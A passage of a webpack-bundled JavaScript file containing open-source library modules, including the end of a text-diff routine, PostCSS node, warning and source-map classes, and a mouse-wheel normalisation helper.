4957 while (newPos + 1 < newLen && oldPos + 1 < oldLen && this.equals(newString[newPos + 1], oldString[oldPos + 1])) {
4958 newPos++;
4959 oldPos++;
4960 commonCount++;
4961 }
4962
4963 if (commonCount) {
4964 basePath.components.push({
4965 count: commonCount
4966 });
4967 }
4968
4969 basePath.newPos = newPos;
4970 return oldPos;
4971 },
4972
4973 /*istanbul ignore start*/
4974
4975 /*istanbul ignore end*/
4976 equals: function equals(left, right) {
4977 if (this.options.comparator) {
4978 return this.options.comparator(left, right);
4979 } else {
4980 return left === right || this.options.ignoreCase && left.toLowerCase() === right.toLowerCase();
4981 }
4982 },
4983
4984 /*istanbul ignore start*/
4985
4986 /*istanbul ignore end*/
4987 removeEmpty: function removeEmpty(array) {
4988 var ret = [];
4989
4990 for (var i = 0; i < array.length; i++) {
4991 if (array[i]) {
4992 ret.push(array[i]);
4993 }
4994 }
4995
4996 return ret;
4997 },
4998
4999 /*istanbul ignore start*/
5000
5001 /*istanbul ignore end*/
5002 castInput: function castInput(value) {
5003 return value;
5004 },
5005
5006 /*istanbul ignore start*/
5007
5008 /*istanbul ignore end*/
5009 tokenize: function tokenize(value) {
5010 return value.split('');
5011 },
5012
5013 /*istanbul ignore start*/
5014
5015 /*istanbul ignore end*/
5016 join: function join(chars) {
5017 return chars.join('');
5018 }
5019};
5020
5021function buildValues(diff, components, newString, oldString, useLongestToken) {
5022 var componentPos = 0,
5023 componentLen = components.length,
5024 newPos = 0,
5025 oldPos = 0;
5026
5027 for (; componentPos < componentLen; componentPos++) {
5028 var component = components[componentPos];
5029
5030 if (!component.removed) {
5031 if (!component.added && useLongestToken) {
5032 var value = newString.slice(newPos, newPos + component.count);
5033 value = value.map(function (value, i) {
5034 var oldValue = oldString[oldPos + i];
5035 return oldValue.length > value.length ? oldValue : value;
5036 });
5037 component.value = diff.join(value);
5038 } else {
5039 component.value = diff.join(newString.slice(newPos, newPos + component.count));
5040 }
5041
5042 newPos += component.count; // Common case
5043
5044 if (!component.added) {
5045 oldPos += component.count;
5046 }
5047 } else {
5048 component.value = diff.join(oldString.slice(oldPos, oldPos + component.count));
5049 oldPos += component.count; // Reverse add and remove so removes are output first to match common convention
5050 // The diffing algorithm is tied to add then remove output and this is the simplest
5051 // route to get the desired output with minimal overhead.
5052
5053 if (componentPos && components[componentPos - 1].added) {
5054 var tmp = components[componentPos - 1];
5055 components[componentPos - 1] = components[componentPos];
5056 components[componentPos] = tmp;
5057 }
5058 }
5059 } // Special case handle for when one terminal is ignored (i.e. whitespace).
5060 // For this case we merge the terminal into the prior string and drop the change.
5061 // This is only available for string mode.
5062
5063
5064 var lastComponent = components[componentLen - 1];
5065
5066 if (componentLen > 1 && typeof lastComponent.value === 'string' && (lastComponent.added || lastComponent.removed) && diff.equals('', lastComponent.value)) {
5067 components[componentLen - 2].value += lastComponent.value;
5068 components.pop();
5069 }
5070
5071 return components;
5072}
5073
5074function clonePath(path) {
5075 return {
5076 newPos: path.newPos,
5077 components: path.components.slice(0)
5078 };
5079}
5080
5081
5082/***/ }),
5083
5084/***/ 5696:
5085/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
5086
5087"use strict";
5088
5089
5090let { existsSync, readFileSync } = __webpack_require__(9977)
5091let { dirname, join } = __webpack_require__(197)
5092let { SourceMapConsumer, SourceMapGenerator } = __webpack_require__(1866)
5093
5094function fromBase64(str) {
5095 if (Buffer) {
5096 return Buffer.from(str, 'base64').toString()
5097 } else {
5098 /* c8 ignore next 2 */
5099 return window.atob(str)
5100 }
5101}
5102
5103class PreviousMap {
5104 constructor(css, opts) {
5105 if (opts.map === false) return
5106 this.loadAnnotation(css)
5107 this.inline = this.startWith(this.annotation, 'data:')
5108
5109 let prev = opts.map ? opts.map.prev : undefined
5110 let text = this.loadMap(opts.from, prev)
5111 if (!this.mapFile && opts.from) {
5112 this.mapFile = opts.from
5113 }
5114 if (this.mapFile) this.root = dirname(this.mapFile)
5115 if (text) this.text = text
5116 }
5117
5118 consumer() {
5119 if (!this.consumerCache) {
5120 this.consumerCache = new SourceMapConsumer(this.text)
5121 }
5122 return this.consumerCache
5123 }
5124
5125 decodeInline(text) {
5126 let baseCharsetUri = /^data:application\/json;charset=utf-?8;base64,/
5127 let baseUri = /^data:application\/json;base64,/
5128 let charsetUri = /^data:application\/json;charset=utf-?8,/
5129 let uri = /^data:application\/json,/
5130
5131 let uriMatch = text.match(charsetUri) || text.match(uri)
5132 if (uriMatch) {
5133 return decodeURIComponent(text.substr(uriMatch[0].length))
5134 }
5135
5136 let baseUriMatch = text.match(baseCharsetUri) || text.match(baseUri)
5137 if (baseUriMatch) {
5138 return fromBase64(text.substr(baseUriMatch[0].length))
5139 }
5140
5141 let encoding = text.match(/data:application\/json;([^,]+),/)[1]
5142 throw new Error('Unsupported source map encoding ' + encoding)
5143 }
5144
5145 getAnnotationURL(sourceMapString) {
5146 return sourceMapString.replace(/^\/\*\s*# sourceMappingURL=/, '').trim()
5147 }
5148
5149 isMap(map) {
5150 if (typeof map !== 'object') return false
5151 return (
5152 typeof map.mappings === 'string' ||
5153 typeof map._mappings === 'string' ||
5154 Array.isArray(map.sections)
5155 )
5156 }
5157
5158 loadAnnotation(css) {
5159 let comments = css.match(/\/\*\s*# sourceMappingURL=/g)
5160 if (!comments) return
5161
5162 // sourceMappingURLs from comments, strings, etc.
5163 let start = css.lastIndexOf(comments.pop())
5164 let end = css.indexOf('*/', start)
5165
5166 if (start > -1 && end > -1) {
5167 // Locate the last sourceMappingURL to avoid pickin
5168 this.annotation = this.getAnnotationURL(css.substring(start, end))
5169 }
5170 }
5171
5172 loadFile(path) {
5173 this.root = dirname(path)
5174 if (existsSync(path)) {
5175 this.mapFile = path
5176 return readFileSync(path, 'utf-8').toString().trim()
5177 }
5178 }
5179
5180 loadMap(file, prev) {
5181 if (prev === false) return false
5182
5183 if (prev) {
5184 if (typeof prev === 'string') {
5185 return prev
5186 } else if (typeof prev === 'function') {
5187 let prevPath = prev(file)
5188 if (prevPath) {
5189 let map = this.loadFile(prevPath)
5190 if (!map) {
5191 throw new Error(
5192 'Unable to load previous source map: ' + prevPath.toString()
5193 )
5194 }
5195 return map
5196 }
5197 } else if (prev instanceof SourceMapConsumer) {
5198 return SourceMapGenerator.fromSourceMap(prev).toString()
5199 } else if (prev instanceof SourceMapGenerator) {
5200 return prev.toString()
5201 } else if (this.isMap(prev)) {
5202 return JSON.stringify(prev)
5203 } else {
5204 throw new Error(
5205 'Unsupported previous source map format: ' + prev.toString()
5206 )
5207 }
5208 } else if (this.inline) {
5209 return this.decodeInline(this.annotation)
5210 } else if (this.annotation) {
5211 let map = this.annotation
5212 if (file) map = join(dirname(file), map)
5213 return this.loadFile(map)
5214 }
5215 }
5216
5217 startWith(string, start) {
5218 if (!string) return false
5219 return string.substr(0, start.length) === start
5220 }
5221
5222 withContent() {
5223 return !!(
5224 this.consumer().sourcesContent &&
5225 this.consumer().sourcesContent.length > 0
5226 )
5227 }
5228}
5229
5230module.exports = PreviousMap
5231PreviousMap.default = PreviousMap
5232
5233
5234/***/ }),
5235
5236/***/ 5776:
5237/***/ ((module) => {
5238
5239"use strict";
5240
5241
5242class Warning {
5243 constructor(text, opts = {}) {
5244 this.type = 'warning'
5245 this.text = text
5246
5247 if (opts.node && opts.node.source) {
5248 let range = opts.node.rangeBy(opts)
5249 this.line = range.start.line
5250 this.column = range.start.column
5251 this.endLine = range.end.line
5252 this.endColumn = range.end.column
5253 }
5254
5255 for (let opt in opts) this[opt] = opts[opt]
5256 }
5257
5258 toString() {
5259 if (this.node) {
5260 return this.node.error(this.text, {
5261 index: this.index,
5262 plugin: this.plugin,
5263 word: this.word
5264 }).message
5265 }
5266
5267 if (this.plugin) {
5268 return this.plugin + ': ' + this.text
5269 }
5270
5271 return this.text
5272 }
5273}
5274
5275module.exports = Warning
5276Warning.default = Warning
5277
5278
5279/***/ }),
5280
5281/***/ 5826:
5282/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
5283
5284/**
5285 * Copyright (c) 2013-present, Facebook, Inc.
5286 *
5287 * This source code is licensed under the MIT license found in the
5288 * LICENSE file in the root directory of this source tree.
5289 */
5290
5291if (false) { var throwOnDirectAccess, ReactIs; } else {
5292 // By explicitly using `prop-types` you are opting into new production behavior.
5293 // http://fb.me/prop-types-in-prod
5294 module.exports = __webpack_require__(628)();
5295}
5296
5297
5298/***/ }),
5299
5300/***/ 6109:
5301/***/ ((module) => {
5302
5303// This code has been refactored for 140 bytes
5304// You can see the original here: https://github.com/twolfson/computedStyle/blob/04cd1da2e30fa45844f95f5cb1ac898e9b9ef050/lib/computedStyle.js
5305var computedStyle = function (el, prop, getComputedStyle) {
5306 getComputedStyle = window.getComputedStyle;
5307
5308 // In one fell swoop
5309 return (
5310 // If we have getComputedStyle
5311 getComputedStyle ?
5312 // Query it
5313 // TODO: From CSS-Query notes, we might need (node, null) for FF
5314 getComputedStyle(el) :
5315
5316 // Otherwise, we are in IE and use currentStyle
5317 el.currentStyle
5318 )[
5319 // Switch to camelCase for CSSOM
5320 // DEV: Grabbed from jQuery
5321 // https://github.com/jquery/jquery/blob/1.9-stable/src/css.js#L191-L194
5322 // https://github.com/jquery/jquery/blob/1.9-stable/src/core.js#L593-L597
5323 prop.replace(/-(\w)/gi, function (word, letter) {
5324 return letter.toUpperCase();
5325 })
5326 ];
5327};
5328
5329module.exports = computedStyle;
5330
5331
5332/***/ }),
5333
5334/***/ 6589:
5335/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
5336
5337"use strict";
5338
5339
5340let Node = __webpack_require__(7490)
5341
5342class Comment extends Node {
5343 constructor(defaults) {
5344 super(defaults)
5345 this.type = 'comment'
5346 }
5347}
5348
5349module.exports = Comment
5350Comment.default = Comment
5351
5352
5353/***/ }),
5354
5355/***/ 7191:
5356/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
5357
5358"use strict";
5359/**
5360 * Copyright (c) 2015, Facebook, Inc.
5361 * All rights reserved.
5362 *
5363 * This source code is licensed under the BSD-style license found in the
5364 * LICENSE file in the root directory of this source tree. An additional grant
5365 * of patent rights can be found in the PATENTS file in the same directory.
5366 *
5367 * @providesModule normalizeWheel
5368 * @typechecks
5369 */
5370
5371
5372
5373var UserAgent_DEPRECATED = __webpack_require__(2213);
5374
5375var isEventSupported = __webpack_require__(1087);
5376
5377
5378// Reasonable defaults
5379var PIXEL_STEP = 10;
5380var LINE_HEIGHT = 40;
5381var PAGE_HEIGHT = 800;
5382
5383/**
5384 * Mouse wheel (and 2-finger trackpad) support on the web sucks. It is
5385 * complicated, thus this doc is long and (hopefully) detailed enough to answer
5386 * your questions.
5387 *
5388 * If you need to react to the mouse wheel in a predictable way, this code is
5389 * like your bestest friend. * hugs *
5390 *
5391 * As of today, there are 4 DOM event types you can listen to:
5392 *
5393 * 'wheel' -- Chrome(31+), FF(17+), IE(9+)
5394 * 'mousewheel' -- Chrome, IE(6+), Opera, Safari
5395 * 'MozMousePixelScroll' -- FF(3.5 only!) (2010-2013) -- don't bother!
5396 * 'DOMMouseScroll' -- FF(0.9.7+) since 2003
5397 *
5398 * So what to do? The is the best:
5399 *
5400 * normalizeWheel.getEventType();
5401 *
5402 * In your event callback, use this code to get sane interpretation of the
5403 * deltas. This code will return an object with properties:
5404 *
5405 * spinX -- normalized spin speed (use for zoom) - x plane
5406 * spinY -- " - y plane
5407 * pixelX -- normalized distance (to pixels) - x plane
5408 * pixelY -- " - y plane
5409 *
5410 * Wheel values are provided by the browser assuming you are using the wheel to
5411 * scroll a web page by a number of lines or pixels (or pages). Values can vary
5412 * significantly on different platforms and browsers, forgetting that you can
5413 * scroll at different speeds. Some devices (like trackpads) emit more events
5414 * at smaller increments with fine granularity, and some emit massive jumps with
5415 * linear speed or acceleration.
5416 *
5417 * This code does its best to normalize the deltas for you:
5418 *
5419 * - spin is trying to normalize how far the wheel was spun (or trackpad
5420 * dragged). This is super useful for zoom support where you want to
5421 * throw away the chunky scroll steps on the PC and make those equal to
5422 * the slow and smooth tiny steps on the Mac. Key data: This code tries to
5423 * resolve a single slow step on a wheel to 1.
5424 *
5425 * - pixel is normalizing the desired scroll delta in pixel units. You'll
5426 * get the crazy differences between browsers, but at least it'll be in
5427 * pixels!
5428 *
5429 * - positive value indicates scrolling DOWN/RIGHT, negative UP/LEFT. This
5430 * should translate to positive value zooming IN, negative zooming OUT.
5431 * This matches the newer 'wheel' event.
5432 *
5433 * Why are there spinX, spinY (or pixels)?
5434 *
5435 * - spinX is a 2-finger side drag on the trackpad, and a shift + wheel turn
5436 * with a mouse. It results in side-scrolling in the browser by default.
5437 *
5438 * - spinY is what you expect -- it's the classic axis of a mouse wheel.
5439 *
5440 * - I dropped spinZ/pixelZ. It is supported by the DOM 3 'wheel' event and
5441 * probably is by browsers in conjunction with fancy 3D controllers .. but
5442 * you know.
5443 *
5444 * Implementation info:
5445 *
5446 * Examples of 'wheel' event if you scroll slowly (down) by one step with an
5447 * average mouse:
5448 *
5449 * OS X + Chrome (mouse) - 4 pixel delta (wheelDelta -120)
5450 * OS X + Safari (mouse) - N/A pixel delta (wheelDelta -12)
5451 * OS X + Firefox (mouse) - 0.1 line delta (wheelDelta N/A)
5452 * Win8 + Chrome (mouse) - 100 pixel delta (wheelDelta -120)
5453 * Win8 + Firefox (mouse) - 3 line delta (wheelDelta -120)
5454 *
5455 * On the trackpad:
5456 *
5457 * OS X + Chrome (trackpad) - 2 pixel delta (wheelDelta -6)
5458 * OS X + Firefox (trackpad) - 1 pixel delta (wheelDelta N/A)
5459 *
5460 * On other/older browsers.. it's more complicated as there can be multiple and
5461 * also missing delta values.
5462 *
5463 * The 'wheel' event is more standard:
5464 *
5465 * http://www.w3.org/TR/DOM-Level-3-Events/#events-wheelevents
5466 *
5467 * The basics is that it includes a unit, deltaMode (pixels, lines, pages), and
5468 * deltaX, deltaY and deltaZ. Some browsers provide other values to maintain
5469 * backward compatibility with older events. Those other values help us
5470 * better normalize spin speed. Example of what the browsers provide:
5471 *
5472 * | event.wheelDelta | event.detail
5473 * ------------------+------------------+--------------
5474 * Safari v5/OS X | -120 | 0
5475 * Safari v5/Win7 | -120 | 0
5476 * Chrome v17/OS X | -120 | 0
5477 * Chrome v17/Win7 | -120 | 0
5478 * IE9/Win7 | -120 | undefined
5479 * Firefox v4/OS X | undefined | 1
5480 * Firefox v4/Win7 | undefined | 3
5481 *
5482 */
5483function normalizeWheel(/*object*/ event) /*object*/ {
5484 var sX = 0, sY = 0, // spinX, spinY
5485 pX = 0, pY = 0; // pixelX, pixelY
5486
5487 // Legacy
5488 if ('detail' in event) { sY = event.detail; }
5489 if ('wheelDelta' in event) { sY = -event.wheelDelta / 120; }
5490 if ('wheelDeltaY' in event) { sY = -event.wheelDeltaY / 120; }
5491 if ('wheelDeltaX' in event) { sX = -event.wheelDeltaX / 120; }
5492
5493 // side scrolling on FF with DOMMouseScroll
5494 if ( 'axis' in event && event.axis === event.HORIZONTAL_AXIS ) {
5495 sX = sY;
5496 sY = 0;
5497 }
5498
5499 pX = sX * PIXEL_STEP;
5500 pY = sY * PIXEL_STEP;
5501
5502 if ('deltaY' in event) { pY = event.deltaY; }
5503 if ('deltaX' in event) { pX = event.deltaX; }
5504
5505 if ((pX || pY) && event.deltaMode) {
5506 if (event.deltaMode == 1) { // delta in LINE units
5507 pX *= LINE_HEIGHT;
5508 pY *= LINE_HEIGHT;
5509 } else { // delta in PAGE units
5510 pX *= PAGE_HEIGHT;
5511 pY *= PAGE_HEIGHT;
5512 }
5513 }
5514
5515 // Fall-back if spin cannot be determined
5516 if (pX && !sX) { sX = (pX < 1) ? -1 : 1; }
5517 if (pY && !sY) { sY = (pY < 1) ? -1 : 1; }
5518
5519 return { spinX : sX,
5520 spinY : sY,
5521 pixelX : pX,
5522 pixelY : pY };
5523}
5524
5525
5526/**
5527 * The best combination if you prefer spinX + spinY normalization. It favors
5528 * the older DOMMouseScroll for Firefox, as FF does not include wheelDelta with
5529 * 'wheel' event, making spin speed determination impossible.
5530 */
5531normalizeWheel.getEventType = function() /*string*/ {
5532 return (UserAgent_DEPRECATED.firefox())
5533 ? 'DOMMouseScroll'
5534 : (isEventSupported('wheel'))
5535 ? 'wheel'
5536 : 'mousewheel';
5537};
5538
5539module.exports = normalizeWheel;
5540
5541
5542/***/ }),
5543
5544/***/ 7374:
5545/***/ ((module) => {
5546
5547"use strict";
5548
5549
5550let list = {
5551 comma(string) {
5552 return list.split(string, [','], true)
5553 },
5554
5555 space(string) {
5556 let spaces = [' ', '\n', '\t']
5557 return list.split(string, spaces)
5558 },
5559
5560 split(string, separators, last) {
5561 let array = []
5562 let current = ''
5563 let split = false
5564
5565 let func = 0
5566 let inQuote = false
5567 let prevQuote = ''
5568 let escape = false
5569
5570 for (let letter of string) {
5571 if (escape) {
5572 escape = false
5573 } else if (letter === '\\') {
5574 escape = true
5575 } else if (inQuote) {
5576 if (letter === prevQuote) {
5577 inQuote = false
5578 }
5579 } else if (letter === '"' || letter === "'") {
5580 inQuote = true
5581 prevQuote = letter
5582 } else if (letter === '(') {
5583 func += 1
5584 } else if (letter === ')') {
5585 if (func > 0) func -= 1
5586 } else if (func === 0) {
5587 if (separators.includes(letter)) split = true
5588 }
5589
5590 if (split) {
5591 if (current !== '') array.push(current.trim())
5592 current = ''
5593 split = false
5594 } else {
5595 current += letter
5596 }
5597 }
5598
5599 if (last || current !== '') array.push(current.trim())
5600 return array
5601 }
5602}
5603
5604module.exports = list
5605list.default = list
5606
5607
5608/***/ }),
5609
5610/***/ 7490:
5611/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
5612
5613"use strict";
5614
5615
5616let CssSyntaxError = __webpack_require__(356)
5617let Stringifier = __webpack_require__(346)
5618let stringify = __webpack_require__(633)
5619let { isClean, my } = __webpack_require__(1381)
5620
5621function cloneNode(obj, parent) {
5622 let cloned = new obj.constructor()
5623
5624 for (let i in obj) {
5625 if (!Object.prototype.hasOwnProperty.call(obj, i)) {
5626 /* c8 ignore next 2 */
5627 continue
5628 }
5629 if (i === 'proxyCache') continue
5630 let value = obj[i]
5631 let type = typeof value
5632
5633 if (i === 'parent' && type === 'object') {
5634 if (parent) cloned[i] = parent
5635 } else if (i === 'source') {
5636 cloned[i] = value
5637 } else if (Array.isArray(value)) {
5638 cloned[i] = value.map(j => cloneNode(j, cloned))
5639 } else {
5640 if (type === 'object' && value !== null) value = cloneNode(value)
5641 cloned[i] = value
5642 }
5643 }
5644
5645 return cloned
5646}
5647
5648function sourceOffset(inputCSS, position) {
5649 // Not all custom syntaxes support `offset` in `source.start` and `source.end`
5650 if (position && typeof position.offset !== 'undefined') {
5651 return position.offset
5652 }
5653
5654 let column = 1
5655 let line = 1
5656 let offset = 0
5657
5658 for (let i = 0; i < inputCSS.length; i++) {
5659 if (line === position.line && column === position.column) {
5660 offset = i
5661 break
5662 }
5663
5664 if (inputCSS[i] === '\n') {
5665 column = 1
5666 line += 1
5667 } else {
5668 column += 1
5669 }
5670 }
5671
5672 return offset
5673}
5674
5675class Node {
5676 get proxyOf() {
5677 return this
5678 }
5679
5680 constructor(defaults = {}) {
5681 this.raws = {}
5682 this[isClean] = false
5683 this[my] = true
5684
5685 for (let name in defaults) {
5686 if (name === 'nodes') {
5687 this.nodes = []
5688 for (let node of defaults[name]) {
5689 if (typeof node.clone === 'function') {
5690 this.append(node.clone())
5691 } else {
5692 this.append(node)
5693 }
5694 }
5695 } else {
5696 this[name] = defaults[name]
5697 }
5698 }
5699 }
5700
5701 addToError(error) {
5702 error.postcssNode = this
5703 if (error.stack && this.source && /\n\s{4}at /.test(error.stack)) {
5704 let s = this.source
5705 error.stack = error.stack.replace(
5706 /\n\s{4}at /,
5707 `$&${s.input.from}:${s.start.line}:${s.start.column}$&`
5708 )
5709 }
5710 return error
5711 }
5712
5713 after(add) {
5714 this.parent.insertAfter(this, add)
5715 return this
5716 }
5717
5718 assign(overrides = {}) {
5719 for (let name in overrides) {
5720 this[name] = overrides[name]
5721 }
5722 return this
5723 }
5724
5725 before(add) {
5726 this.parent.insertBefore(this, add)
5727 return this
5728 }
5729
5730 cleanRaws(keepBetween) {
5731 delete this.raws.before
5732 delete this.raws.after
5733 if (!keepBetween) delete this.raws.between
5734 }
5735
5736 clone(overrides = {}) {
5737 let cloned = cloneNode(this)
5738 for (let name in overrides) {
5739 cloned[name] = overrides[name]
5740 }
5741 return cloned
5742 }
5743
5744 cloneAfter(overrides = {}) {
5745 let cloned = this.clone(overrides)
5746 this.parent.insertAfter(this, cloned)
5747 return cloned
5748 }
5749
5750 cloneBefore(overrides = {}) {
5751 let cloned = this.clone(overrides)
5752 this.parent.insertBefore(this, cloned)
5753 return cloned
5754 }
5755
5756 error(message, opts = {}) {
5757 if (this.source) {
5758 let { end, start } = this.rangeBy(opts)
5759 return this.source.input.error(
5760 message,
5761 { column: start.column, line: start.line },
5762 { column: end.column, line: end.line },
5763 opts
5764 )
5765 }
5766 return new CssSyntaxError(message)
5767 }
5768
5769 getProxyProcessor() {
5770 return {
5771 get(node, prop) {
5772 if (prop === 'proxyOf') {
5773 return node
5774 } else if (prop === 'root') {
5775 return () => node.root().toProxy()
5776 } else {
5777 return node[prop]
5778 }
5779 },
5780
5781 set(node, prop, value) {
5782 if (node[prop] === value) return true
5783 node[prop] = value
5784 if (
5785 prop === 'prop' ||
5786 prop === 'value' ||
5787 prop === 'name' ||
5788 prop === 'params' ||
5789 prop === 'important' ||
5790 /* c8 ignore next */
5791 prop === 'text'
5792 ) {
5793 node.markDirty()
5794 }
5795 return true
5796 }
5797 }
5798 }
5799
5800 /* c8 ignore next 3 */
5801 markClean() {
5802 this[isClean] = true
5803 }
5804
5805 markDirty() {
5806 if (this[isClean]) {
5807 this[isClean] = false
5808 let next = this
5809 while ((next = next.parent)) {
5810 next[isClean] = false
5811 }
5812 }
5813 }
5814
5815 next() {
5816 if (!this.parent) return undefined
5817 let index = this.parent.index(this)
5818 return this.parent.nodes[index + 1]
5819 }
5820
5821 positionBy(opts = {}) {
5822 let pos = this.source.start
5823 if (opts.index) {
5824 pos = this.positionInside(opts.index)
5825 } else if (opts.word) {
5826 let inputString =
5827 'document' in this.source.input
5828 ? this.source.input.document
5829 : this.source.input.css
5830 let stringRepresentation = inputString.slice(
5831 sourceOffset(inputString, this.source.start),
5832 sourceOffset(inputString, this.source.end)
5833 )
5834 let index = stringRepresentation.indexOf(opts.word)
5835 if (index !== -1) pos = this.positionInside(index)
5836 }
5837 return pos
5838 }
5839
5840 positionInside(index) {
5841 let column = this.source.start.column
5842 let line = this.source.start.line
5843 let inputString =
5844 'document' in this.source.input
5845 ? this.source.input.document
5846 : this.source.input.css
5847 let offset = sourceOffset(inputString, this.source.start)
5848 let end = offset + index
5849
5850 for (let i = offset; i < end; i++) {
5851 if (inputString[i] === '\n') {
5852 column = 1
5853 line += 1
5854 } else {
5855 column += 1
5856 }
5857 }
5858
5859 return { column, line, offset: end }
5860 }
5861
5862 prev() {
5863 if (!this.parent) return undefined
5864 let index = this.parent.index(this)
5865 return this.parent.nodes[index - 1]
5866 }
5867
5868 rangeBy(opts = {}) {
5869 let inputString =
5870 'document' in this.source.input
5871 ? this.source.input.document
5872 : this.source.input.css
5873 let start = {
5874 column: this.source.start.column,
5875 line: this.source.start.line,
5876 offset: sourceOffset(inputString, this.source.start)
5877 }
5878 let end = this.source.end
5879 ? {
5880 column: this.source.end.column + 1,
5881 line: this.source.end.line,
5882 offset:
5883 typeof this.source.end.offset === 'number'
5884 ? // `source.end.offset` is exclusive, so we don't need to add 1
5885 this.source.end.offset
5886 : // Since line/column in this.source.end is inclusive,
5887 // the `sourceOffset(... , this.source.end)` returns an inclusive offset.
5888 // So, we add 1 to convert it to exclusive.
5889 sourceOffset(inputString, this.source.end) + 1
5890 }
5891 : {
5892 column: start.column + 1,
5893 line: start.line,
5894 offset: start.offset + 1
5895 }
5896
5897 if (opts.word) {
5898 let stringRepresentation = inputString.slice(
5899 sourceOffset(inputString, this.source.start),
5900 sourceOffset(inputString, this.source.end)
5901 )
5902 let index = stringRepresentation.indexOf(opts.word)
5903 if (index !== -1) {
5904 start = this.positionInside(index)
5905 end = this.positionInside(index + opts.word.length)
5906 }
5907 } else {
5908 if (opts.start) {
5909 start = {
5910 column: opts.start.column,
5911 line: opts.start.line,
5912 offset: sourceOffset(inputString, opts.start)
5913 }
5914 } else if (opts.index) {
5915 start = this.positionInside(opts.index)
5916 }
5917
5918 if (opts.end) {
5919 end = {
5920 column: opts.end.column,
5921 line: opts.end.line,
5922 offset: sourceOffset(inputString, opts.end)
5923 }
5924 } else if (typeof opts.endIndex === 'number') {
5925 end = this.positionInside(opts.endIndex)
5926 } else if (opts.index) {
5927 end = this.positionInside(opts.index + 1)
5928 }
5929 }
5930
5931 if (
5932 end.line < start.line ||
5933 (end.line === start.line && end.column <= start.column)
5934 ) {
5935 end = {
5936 column: start.column + 1,
5937 line: start.line,
5938 offset: start.offset + 1
5939 }
5940 }
5941
5942 return { end, start }
5943 }
5944
5945 raw(prop, defaultType) {
5946 let str = new Stringifier()
5947 return str.raw(this, prop, defaultType)
5948 }
5949
5950 remove() {
5951 if (this.parent) {
5952 this.parent.removeChild(this)
5953 }
5954 this.parent = undefined
5955 return this
5956 }
5957
5958 replaceWith(...nodes) {
5959 if (this.parent) {
5960 let bookmark = this
5961 let foundSelf = false
5962 for (let node of nodes) {
5963 if (node === this) {
5964 foundSelf = true
5965 } else if (foundSelf) {
5966 this.parent.insertAfter(bookmark, node)
5967 bookmark = node
5968 } else {
5969 this.parent.insertBefore(bookmark, node)
5970 }
5971 }
5972
5973 if (!foundSelf) {
5974 this.remove()
5975 }
5976 }
5977
5978 return this
5979 }
5980
5981 root() {
5982 let result = this
5983 while (result.parent && result.parent.type !== 'document') {
5984 result = result.parent
5985 }
5986 return result
5987 }
5988
5989 toJSON(_, inputs) {
5990 let fixed = {}
5991 let emitInputs = inputs == null
5992 inputs = inputs || new Map()
5993 let inputsNextIndex = 0
5994
5995 for (let name in this) {
5996 if (!Object.prototype.hasOwnProperty.call(this, name)) {
5997 /* c8 ignore next 2 */
5998 continue
5999 }
6000 if (name === 'parent' || name === 'proxyCache') continue
6001 let value = this[name]
6002
6003 if (Array.isArray(value)) {
6004 fixed[name] = value.map(i => {
6005 if (typeof i === 'object' && i.toJSON) {
6006 return i.toJSON(null, inputs)
6007 } else {
6008 return i
6009 }
6010 })
6011 } else if (typeof value === 'object' && value.toJSON) {
6012 fixed[name] = value.toJSON(null, inputs)
6013 } else if (name === 'source') {
6014 if (value == null) continue
6015 let inputId = inputs.get(value.input)
6016 if (inputId == null) {
6017 inputId = inputsNextIndex
6018 inputs.set(value.input, inputsNextIndex)
6019 inputsNextIndex++
6020 }
6021 fixed[name] = {
6022 end: value.end,
6023 inputId,
6024 start: value.start
6025 }
6026 } else {
6027 fixed[name] = value
6028 }
6029 }
6030
6031 if (emitInputs) {
6032 fixed.inputs = [...inputs.keys()].map(input => input.toJSON())
6033 }
6034
6035 return fixed
6036 }
6037
6038 toProxy() {
6039 if (!this.proxyCache) {
6040 this.proxyCache = new Proxy(this, this.getProxyProcessor())
6041 }
6042 return this.proxyCache
6043 }
6044
6045 toString(stringifier = stringify) {
6046 if (stringifier.stringify) stringifier = stringifier.stringify
6047 let result = ''
6048 stringifier(this, i => {
6049 result += i
6050 })
6051 return result
6052 }
6053
6054 warn(result, text, opts = {}) {
6055 let data = { node: this }
6056 for (let i in opts) data[i] = opts[i]
6057 return result.warn(text, data)
6058 }
6059}
6060
6061module.exports = Node
6062Node.default = Node
6063
6064
6065/***/ }),
6066
6067/***/ 7520:
6068/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
6069
6070module.exports = __webpack_require__(7191);
6071
6072
6073/***/ }),
6074
6075/***/ 7661:
6076/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
6077
6078"use strict";
6079
6080
6081let MapGenerator = __webpack_require__(1670)
6082let parse = __webpack_require__(4295)
6083const Result = __webpack_require__(9055)
6084let stringify = __webpack_require__(633)
6085let warnOnce = __webpack_require__(3122)
6086
6087class NoWorkResult {
6088 get content() {
6089 return this.result.css
6090 }
6091
6092 get css() {
6093 return this.result.css
6094 }
6095
6096 get map() {
6097 return this.result.map
6098 }
6099
6100 get messages() {
6101 return []
6102 }
6103
6104 get opts() {
6105 return this.result.opts
6106 }
6107
6108 get processor() {
6109 return this.result.processor
6110 }
6111
6112 get root() {
6113 if (this._root) {
6114 return this._root
6115 }
6116
6117 let root
6118 let parser = parse
6119
6120 try {
6121 root = parser(this._css, this._opts)
6122 } catch (error) {
6123 this.error = error
6124 }
6125
6126 if (this.error) {
6127 throw this.error
6128 } else {
6129 this._root = root
6130 return root
6131 }
6132 }
6133
6134 get [Symbol.toStringTag]() {
6135 return 'NoWorkResult'
6136 }
6137
6138 constructor(processor, css, opts) {
6139 css = css.toString()
6140 this.stringified = false
6141
6142 this._processor = processor
6143 this._css = css
6144 this._opts = opts
6145 this._map = undefined
6146 let root
6147
6148 let str = stringify
6149 this.result = new Result(this._processor, root, this._opts)
6150 this.result.css = css
6151
6152 let self = this
6153 Object.defineProperty(this.result, 'root', {
6154 get() {
6155 return self.root
6156 }
6157 })
6158
6159 let map = new MapGenerator(str, root, this._opts, css)
6160 if (map.isMap()) {
6161 let [generatedCSS, generatedMap] = map.generate()
6162 if (generatedCSS) {
6163 this.result.css = generatedCSS
6164 }
6165 if (generatedMap) {
6166 this.result.map = generatedMap
6167 }
6168 } else {
6169 map.clearAnnotation()
6170 this.result.css = map.css
6171 }
6172 }
6173
6174 async() {
6175 if (this.error) return Promise.reject(this.error)
6176 return Promise.resolve(this.result)
6177 }
6178
